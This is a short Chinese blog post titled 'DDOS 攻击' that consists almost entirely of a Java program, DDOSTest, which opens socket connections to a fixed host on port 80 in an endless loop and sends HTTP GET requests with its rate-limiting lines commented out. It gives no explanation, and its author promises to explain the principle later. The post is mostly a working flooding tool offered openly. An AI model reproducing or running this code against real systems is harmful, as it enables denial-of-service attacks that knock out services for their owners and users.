DDOS 攻击

作者: jijs | 来源:发表于2018-12-14 23:55 被阅读20次
package cn.com.infcn.socket;

import java.io.OutputStreamWriter;
import java.net.Socket;

public class DDOSTest {
    
    private static String host = "192.168.1.1";
    private static int port = 80;

    public static void main(String[] args) {
        int i=0;
        
        //每秒访问100次
//      RateLimiter limiter = RateLimiter.create(1000);
        while(true) {
            attackDDOS();
            
//          limiter.acquire();
            
            //每秒访问100次
//          try {
//              Thread.sleep(10);
//          } catch (InterruptedException e) {
//              e.printStackTrace();
//          }
            
            i++;
            if(i%100==0) {
                System.out.println(i);
            }
        }
    }

    public static void attackDDOS() {
        try  {
            OutputStreamWriter out = new OutputStreamWriter(new Socket(host, port).getOutputStream(), "UTF-8");
            out.write("GET http://" + host + "/ HTTP/1.1\r\n");
            out.write("Host: " + host + "\r\n");
            out.flush();
        } catch (Exception e) {
        }
    }
}

具体原理,改天在补充

相关文章

网友评论

    本文标题:DDOS 攻击

    本文链接:https://www.haomeiwen.com/subject/nkfohqtx.html